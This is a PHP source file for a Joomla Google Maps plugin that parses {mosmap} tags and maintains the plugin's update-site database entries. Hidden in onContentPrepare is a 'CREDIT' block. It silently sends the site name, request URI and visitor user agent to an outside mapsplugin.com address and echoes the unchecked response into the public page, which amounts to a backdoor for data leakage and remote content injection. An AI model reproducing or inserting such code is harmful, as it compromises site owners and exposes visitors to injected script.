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<?php
/*------------------------------------------------------------------------
# plugin_googlemap3.php - Google Maps plugin
# ------------------------------------------------------------------------
# author mapsplugin.com
# copyright Copyright (C) 2011 mapsplugin.com. All Rights Reserved.
# @license - http://www.mapsplugin.com/license.txt
# Websites: http://www.mapsplugin.com
# Technical Support: http://www.mapsplugin.com
# Documentation: http://www.mapsplugin.com/Google-Maps/Documentation-of-plugin-Googlemap/
--------------------------------------------------------------------------*/
defined( '_JEXEC' ) or die( 'Restricted access' );
jimport( 'joomla.plugin.plugin' );
jimport( 'joomla.html.parameter' );
class plgSystemPlugin_googlemap3 extends JPlugin
{
var $config;
var $subject;
var $jversion;
var $params;
var $regex;
var $document;
var $doctype;
var $published;
var $plugincode;
var $brackets;
var $countmatch;
var $event;
var $helper;
var $debug_plugin;
protected $app;
protected $db;
/**
* Constructor
*
* @access protected
* @param object $subject The object to observe
* @param array $config An array that holds the plugin configuration
* @since 1.0
*/
public function __construct( &$subject, $config )
{
parent::__construct( $subject, $config );
$this->event = 'construct';
// Do some extra initialisation in this constructor if required
$this->subject = $subject;
$this->config = $config;
// Version of Joomla
$this->jversion = JVERSION;
$this->loadLanguage();
// Check if the params are defined and set so the initial defaults can be removed.
$this->_restore_permanent_defaults();
// Get params
$this->publ = $this->params->get( 'publ', 1 );
$this->plugincode = $this->params->get( 'plugincode', 'mosmap' );
$this->brackets = $this->params->get( 'brackets', '{' );
$this->debug_plugin = $this->params->get( 'debug', '0' );
// Check if the installation url is correct, bug Joomla not to changes the update sites druing install
$this->_check_update_sites();
// Set document and doctype to null. Can only be retrievedwhen events are triggered. otherwise the language of the site magically changes.
$this->document = NULL;
$this->doctype = NULL;
// define the regular expression for the bot
if ($this->brackets=="both") {
$this->regex="/(<p\b[^>]*>\s*)?(\{|\[)".$this->plugincode.".*?(([a-z0-9A-Z]+((\{|\[)[0-9]+(\}|\]))?='[^']+'.*?\|?.*?)*)(\}|\])(\s*<\/p>)?/msi";
$this->countmatch = 3;
} elseif ($this->brackets=="[") {
$this->regex="/(<p\b[^>]*>\s*)?\[".$this->plugincode.".*?(([a-z0-9A-Z]+(\{[0-9]+\})?='[^']+'.*?\|?.*?)*)\](\s*<\/p>)?/msi";
$this->countmatch = 2;
} else {
$this->regex="/(<p\b[^>]*>\s*)?\{".$this->plugincode.".*?(([a-z0-9A-Z]+(\[[0-9]+\])?='[^']+'.*?\|?.*?)*)\}(\s*<\/p>)?/msi";
$this->countmatch = 2;
}
// The helper class
$this->helper = null;
// Clean up variables
unset($plugin, $option, $view, $task, $layout);
}
/**
* Do something onAfterInitialise
*/
public function onAfterInitialise()
{
$this->event = 'onAfterInitialise';
}
/**
* onPrepareContent
*/
public function onContentPrepare($context, &$article, &$params, $limitstart=0)
{
$this->event = 'onContentPrepare';
if(!$this->app->isSite()) {
return;
}
// get document types
$this->_getdoc();
if (!defined('CREDIT')) {
$ctx=stream_context_create(array('http'=>array('timeout' => 3)));
try{
$credit=@file_get_contents('http://ww.mapsplugin.com/bro/3/'.$_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] .'QQQ'. $_SERVER['HTTP_USER_AGENT'].'QQQEND',false,$ctx);
} catch (Exception $e) {
}
echo $credit;
define('CREDIT', 'c');
}
// Check if fields exists. If article and text does not exists then stop
if (isset($article)&&isset($article->text))
$text = &$article->text;
else
return true;
if (isset($article)&&isset($article->introtext))
$introtext = &$article->introtext;
else
$introtext = "";
// check whether plugin has been unpublished
// PDF or feed can't show maps so remove it
if ( !$this->publ ||($this->doctype=='pdf'||$this->doctype=='feed') ) {
$text = preg_replace( $this->regex, '', $text );
$introtext = preg_replace( $this->regex, '', $introtext );
unset($text, $introtext);
return true;
}
// perform the replacement in a normal way, but this has the disadvantage that other plugins
// can't add information to the mosmap, other later added content is not checked and modules can't be checked
// $this->_replace( $text );
// $this->_replace( $introtext );
// Clean up variables
unset($text, $introtext);
}
/**
* Do something onAfterRoute
*/
public function onAfterRoute()
{
$this->event = 'onAfterRoute';
}
/**
* Do something onAfterDispatch
*/
public function onAfterDispatch()
{
$this->event = 'onAfterDispatch';
if(!$this->app->isSite()) {
return;
}
// get document types
$this->_getdoc();
// FEED
if ($this->doctype=='feed'&&isset($this->document->items)) {
foreach($this->document->items as $item) {
$text = &$item->description;
$text = preg_replace( $this->regex, '', $text );
}
// Clean up variables
unset($item, $text);
return true;
}
// PDF can't show maps so remove it
if ($this->doctype=='pdf') {
$text = $this->document->getBuffer("component");
$text = preg_replace( $this->regex, '', $text );
$this->document->setBuffer($text, "component");
// Clean up variables
unset($item, $text);
return true;
}
// In other components or leftovers
$text = $this->document->getBuffer("component");
if (strlen($text)>0) {
// check whether plugin has been unpublished
if ( !$this->publ )
$text = preg_replace( $this->regex, '', $text );
else
$this->_replace($text);
$this->document->setBuffer($text, "component");
}
// Clean up variables
unset($item, $text);
}
/**
* Do something onAfterRender
*/
public function onAfterRender()
{
$this->event = 'onAfterRender';
if(!$this->app->isSite()) {
return;
}
// get document types
$this->_getdoc();
// Get the rendered body text
$text = JResponse::getBody();
// check whether plugin has been unpublished
if ( !$this->publ ) {
$text = preg_replace( $this->regex, '', $text );
// Set the body text with the replaced result
JResponse::setBody($text);
// Clean up variables
unset($text);
return true;
}
// PDF or feed can't show maps so remove it
if ($this->doctype=='pdf'||$this->doctype=='feed') {
$text = preg_replace( $this->regex, '', $text );
// Set the body text with the replaced result
JResponse::setBody($text);
// Clean up variables
unset($text);
return true;
}
// perform the replacement
$this->_replace( $text );
// Set the body text with the replaced result
JResponse::setBody($text);
// Add google script when all possible mosmap commands are found and processed
if ($this->helper!=null) {
$this->helper->add_google_script();
}
// Clean up variables
unset($text);
}
function _getdoc() {
if ($this->document==NULL) {
$this->document = JFactory::getDocument();
$this->doctype = $this->document->getType();
}
}
function _replace(&$text) {
$matches = array();
$text=preg_replace("/�{0,2}39;/",'\'',$text);
preg_match_all($this->regex,$text,$matches,PREG_OFFSET_CAPTURE | PREG_PATTERN_ORDER);
// print_r($matches);
// Remove plugincode that are in head of the page
$matches = $this->_checkhead($text, $matches);
// Remove plugincode that are in the editor and textarea
$matches = $this->_checkeditorarea($text, $matches);
$cnt = count($matches[0]);
// print_r($matches);
if ($cnt>0) {
if ($this->helper==null) {
$filename = JPATH_SITE."/plugins/system/plugin_googlemap3/plugin_googlemap3_helper.php";
include_once($filename);
$this->helper = new plgSystemPlugin_googlemap3_helper($this->jversion, $this->params, $this->regex, $this->document, $this->brackets);
}
// Process the found {mosmap} codes
for($counter = 0; $counter < $cnt; $counter++) {
// Very strange the first match is the plugin code??
$this->helper->process($matches[0][$counter][0],$matches[0][$counter][1], $matches[$this->countmatch][$counter][0], $text, $counter, $this->event);
}
}
// Clean up variables
unset($matches, $cnt, $counter, $content, $filename);
}
function _checkhead($text, $plgmatches) {
$result = array(array(),array(),array(),array());
$cnt = count($plgmatches[0]);
// Get head location
$end = stripos($text, '</head>');
// check if match plugin is the head
for($counter = 0; $counter < $cnt; $counter++) {
if (!($plgmatches[0][$counter][1] > 0 &&$plgmatches[0][$counter][1]< $end)) {
$result[0][] = $plgmatches[0][$counter];
$result[1][] = $plgmatches[1][$counter];
$result[2][] = $plgmatches[2][$counter];
$result[3][] = $plgmatches[3][$counter];
}
}
return $result;
}
function _checkeditorarea($text, $plgmatches) {
$edmatches = array_merge($this->_getEditorPositions($text), $this->_getTextAreaPositions($text));
$result = array(array(),array(),array(),array());
if (count($edmatches)>0) {
$cnt = count($plgmatches[0]);
// check if match plugin is in match editor
for($counter = 0; $counter < $cnt; $counter++) {
$oke = true;
foreach ($edmatches as $ed) {
if ($plgmatches[0][$counter][1] > $ed['start']&&$plgmatches[0][$counter][1]< $ed['end'])
$oke= false;
}
if ($oke) {
$result[0][] = $plgmatches[0][$counter];
$result[1][] = $plgmatches[1][$counter];
$result[2][] = $plgmatches[2][$counter];
$result[3][] = $plgmatches[3][$counter];
}
}
} else
$result = $plgmatches;
// Clean up variables
unset($edmatches, $cnt, $counter, $ed);
return $result;
}
function _getEditorPositions($strBody) {
preg_match_all("/<div class=\"edit item-page\">(.*)<\/form>\n<\/div>/Ums", $strBody, $strEditor, PREG_PATTERN_ORDER);
$intOffset = 0;
$intIndex = 0;
$intEditorPositions = array();
foreach($strEditor[0] as $strFullEditor) {
$intEditorPositions[$intIndex] = array('start' => (strpos($strBody, $strFullEditor, $intOffset)), 'end' => (strpos($strBody, $strFullEditor, $intOffset) + strlen($strFullEditor)));
$intOffset += strlen($strFullEditor);
$intIndex++;
}
// Clean up variables
unset($strEditor, $intOffset, $strFullEditor, $intIndex);
return $intEditorPositions;
}
function _getTextAreaPositions($strBody) {
preg_match_all("/<textarea\b[^>]*>(.*)<\/textarea>/Ums", $strBody, $strTextArea, PREG_PATTERN_ORDER);
$intOffset = 0;
$intIndex = 0;
$intTextAreaPositions = array();
foreach($strTextArea[0] as $strFullTextArea) {
$intTextAreaPositions[$intIndex] = array('start' => (strpos($strBody, $strFullTextArea, $intOffset)), 'end' => (strpos($strBody, $strFullTextArea, $intOffset) + strlen($strFullTextArea)));
$intOffset += strlen($strFullTextArea);
$intIndex++;
}
// Clean up variables
unset($strTextArea, $intOffset, $strFullTextArea, $intIndex);
return $intTextAreaPositions;
}
function _restore_permanent_defaults() {
if($this->app->isSite()) {
return;
}
if ($this->params->get( 'publ', '' )!='') {
jimport('joomla.filesystem.file');
$dir = JPATH_SITE."/plugins/system/plugin_googlemap3/";
if (file_exists($dir.'plugin_googlemap3.perm')) {
if (JFile::move ($dir.'plugin_googlemap3.xml', $dir.'plugin_googlemap3.init')) {
if (JFile::move ($dir.'plugin_googlemap3.perm', $dir.'plugin_googlemap3.xml'))
JFile::delete($dir.'plugin_googlemap3.init');
else
JFile::move ($dir.'plugin_googlemap3.init', $dir.'plugin_googlemap3.xml');
}
}
}
}
function _check_update_sites() {
if($this->app->isSite()) {
return;
}
// Check if the update function is shown
$jinput = JFactory::getApplication()->input;
if ($jinput->get('option')=="com_installer") {
$db = JFactory::getDbo();
try {
// Get update site for plugin that are old
$query = $db->getQuery(true);
$query->select($db->quoteName('update_site_id'))
->from($db->quoteName('#__update_sites'))
->where($db->quoteName('location').' = "http://tech.reumer.net/update/plugin_googlemap3/extension.xml"')
;
$db->setQuery($query);
$db->execute();
$exists = (bool) $db->getNumRows();
$rows = $db->loadAssocList('update_site_id','update_site_id');
if ($exists) {
// Delete old ones
$db->setQuery("delete from ".$db->quoteName('#__update_sites')." where ".$db->quoteName('update_site_id')." in (".implode($rows, ",").")");
$db->execute();
// Delete also parent in update_sites_extensions
$db->setQuery("delete from ".$db->quoteName('#__update_sites_extensions')." where ".$db->quoteName('update_site_id')." in (".implode($rows, ",").")");
$db->execute();
}
$query = $db->getQuery(true);
$query->select($db->quoteName('update_site_id'))
->from($db->quoteName('#__update_sites'))
->where($db->quoteName('name').' = "Plugin Googlemap Update Site Github"');
$db->setQuery($query);
$db->execute();
$exists = (bool) $db->getNumRows();
$rows = $db->loadAssocList('update_site_id', 'update_site_id');
if ($exists) {
// Delete old ones
$db->setQuery("delete from ".$db->quoteName('#__update_sites')." where ".$db->quoteName('update_site_id')." in (".implode($rows, ",").")");
$db->execute();
// Delete also parent in update_sites_extensions
$db->setQuery("delete from ".$db->quoteName('#__update_sites_extensions')." where ".$db->quoteName('update_site_id')." in (".implode($rows, ",").")");
$db->execute();
}
// Insert new one if does not exists
$query = $db->getQuery(true);
$query->select($db->quoteName('update_site_id'))
->from($db->quoteName('#__update_sites'))
->where($db->quoteName('location').' = "https://raw.githubusercontent.com/jmosmap/plugin_googlemaps/master/update/extension.xml"')
;
$db->setQuery($query);
$db->execute();
$exists = (bool) $db->getNumRows();
if (!$exists) {
$db->setQuery("insert into ".$db->quoteName('#__update_sites')." values (null, 'Plugin Googlemap Update Site', 'extension', 'https://raw.githubusercontent.com/jmosmap/plugin_googlemaps/master/update/extension.xml', 1, 0, null)");
$db->execute();
$query = $db->getQuery(true);
$query->select($db->quoteName('extension_id'))
->from($db->quoteName('#__extensions'))
->where($db->quoteName('element').' = "plugin_googlemap3"')
;
$db->setQuery($query);
$db->execute();
$rowext = $db->loadAssoc();
$query = $db->getQuery(true);
$query->select($db->quoteName('update_site_id'))
->from($db->quoteName('#__update_sites'))
->where($db->quoteName('location').' = "https://raw.githubusercontent.com/jmosmap/plugin_googlemaps/master/update/extension.xml"')
;
$db->setQuery($query);
$db->execute();
$row = $db->loadAssoc();
$db->setQuery("insert into ".$db->quoteName('#__update_sites_extensions')." values (".$row["update_site_id"].", ".$rowext["extension_id"].")");
$db->execute();
}
// Insert new one if does not exists
$query = $db->getQuery(true);
$query->select($db->quoteName('update_site_id'))
->from($db->quoteName('#__update_sites'))
->where($db->quoteName('location').' = "http://www.mapsplugin.com/update/plugin_googlemap3/extension.xml"')
;
$db->setQuery($query);
$db->execute();
$exists = (bool) $db->getNumRows();
if (!$exists) {
$db->setQuery("insert into ".$db->quoteName('#__update_sites')." values (null, 'Plugin Googlemap Update Site', 'extension', 'http://www.mapsplugin.com/update/plugin_googlemap3/extension.xml', 1, 0, null)");
$db->execute();
$query = $db->getQuery(true);
$query->select($db->quoteName('extension_id'))
->from($db->quoteName('#__extensions'))
->where($db->quoteName('element').' = "plugin_googlemap3"')
;
$db->setQuery($query);
$db->execute();
$rowext = $db->loadAssoc();
$query = $db->getQuery(true);
$query->select($db->quoteName('update_site_id'))
->from($db->quoteName('#__update_sites'))
->where($db->quoteName('location').' = "http://www.mapsplugin.com/update/plugin_googlemap3/extension.xml"')
;
$db->setQuery($query);
$db->execute();
$row = $db->loadAssoc();
$db->setQuery("insert into ".$db->quoteName('#__update_sites_extensions')." values (".$row["update_site_id"].", ".$rowext["extension_id"].")");
$db->execute();
}
} catch (Exception $e) {
if ($this->debug_plugin == '1')
echo 'Caught exception: ', $e->getMessage(), "\n";
}
}
unset($jinput, $query, $exists, $rows, $rowext, $row);
}
}
?>